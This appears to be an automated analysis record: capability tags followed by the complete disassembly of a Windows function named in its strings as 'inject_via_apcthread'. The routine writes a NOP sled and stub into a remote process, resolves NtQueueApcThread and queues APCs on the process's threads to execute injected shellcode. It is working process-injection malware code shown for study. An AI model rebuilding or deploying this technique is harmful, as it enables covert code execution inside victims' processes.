Function at 0x416342
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
push esi
push edi
mov dword [ebp - 0x2c], 5
and dword [ebp - 0x34], 0
and dword [ebp - 0x28], 0
and dword [ebp - 4], 0
and dword [ebp - 0x24], 0
and dword [ebp - 0x30], 0
and dword [ebp - 8], 0
and dword [ebp - 0x50], 0
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x4c]
rep stosd dword es:[edi], eax
and dword [ebp - 0x20], 0
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x10], 0
mov dword [ebp - 0x50], 0x1c
cmp dword [ebp + 0x10], 1
jne 0x4163c4
xor eax, eax
jne 0x4163ad
mov dword [ebp - 0x24], 0x45d010
mov dword [ebp - 0xc], 0xf5
jmp 0x416569
cmp dword [ebp + 0x10], 2
jne 0x416569
xor eax, eax
jne 0x4163ce
mov dword [ebp - 0x24], 0x45d108
mov dword [ebp - 0xc], 0x144
and dword [ebp - 0x88], 0
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x84]
rep stosd dword es:[edi], eax
and dword [ebp - 0x68], 0
and dword [ebp - 0x6c], 0
mov esi, 0x45d24c
lea edi, [ebp - 0x64]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
jne 0x41640a
push 0x40
push 0x3000
push 0x2000
push 0x6b0095f0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jne 0x416456
xor eax, eax
jne 0x416431
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_VirtualAllocEx_0x6B0095F0_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
push 0x1c
lea eax, [ebp - 0x88]
push eax
push dword [ebp - 0x68]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
jne 0x416494
xor eax, eax
jne 0x41646f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_VirtualQueryEx_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
push dword [ebp - 0x7c]
call fcn.00401ac2
pop ecx
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jne 0x4164cb
xor eax, eax
jne 0x4164a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_malloc_lpNopSled_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
push dword [ebp - 0x7c]
push 0x90
push dword [ebp - 0x6c]
call fcn.00401c20
add esp, 0xc
push 0
push dword [ebp - 0x7c]
push dword [ebp - 0x6c]
push dword [ebp - 0x68]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x41651b
xor eax, eax
jne 0x4164f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_WriteProcessMemory_lpNopSled_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
push 0
push 0x12
lea eax, [ebp - 0x64]
push eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x68]
lea eax, [ecx + eax - 0x12]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x416560
xor eax, eax
jne 0x41653b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_WriteProcessMemory_bStub_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
push dword [ebp - 0x6c]
call fcn.004019e5
pop ecx
push str.ntdll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x4165a2
xor eax, eax
jne 0x41657d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_LoadLibraryA_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
push str.NtQueueApcThread
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x4165de
xor eax, eax
jne 0x4165b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_GetProcAddress_NtQueueApcThread_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x416615
xor eax, eax
jne 0x4165f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_CreateToolhelp32Snapshot_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Thread32First
test eax, eax
jne 0x41664a
xor eax, eax
jne 0x416625
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_Thread32First_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
push 0x40
push 0x3000
mov eax, dword [ebp - 0xc]
add eax, 0x14
push eax
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x416691
xor eax, eax
jne 0x41666c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_VirtualAllocEx_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
xor eax, eax
jne 0x41669a
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x24]
push dword [ebp - 0x30]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4166db
xor eax, eax
jne 0x4166b6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_WriteProcessMemory_lpRemoteApcStub_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
push 0
push 0x14
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x416718
xor eax, eax
jne 0x4166f3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_apcthread:_WriteProcessMemory_lpRemoteApcContext_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x41679d
and dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp + 0xc]
je 0x416729
jmp 0x41677f
push dword [ebp - 0x48]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x41674a
jmp 0x41677f
xor eax, eax
jne 0x41674a
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 0x30]
push dword [ebp - 0x8c]
call dword [ebp - 0x28]
test eax, eax
jne 0x41676f
xor eax, eax
jne 0x416765
and dword [ebp - 0x2c], 0
jmp 0x416773
xor eax, eax
jne 0x41676f
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x416795
cmp dword [ebp - 0x2c], 0
jne 0x416718
xor eax, eax
jne 0x416390
cmp dword [ebp - 4], 0
je 0x4167ac
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x34], 0
je 0x4167bb
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x2c]
pop edi
pop esi
leave
ret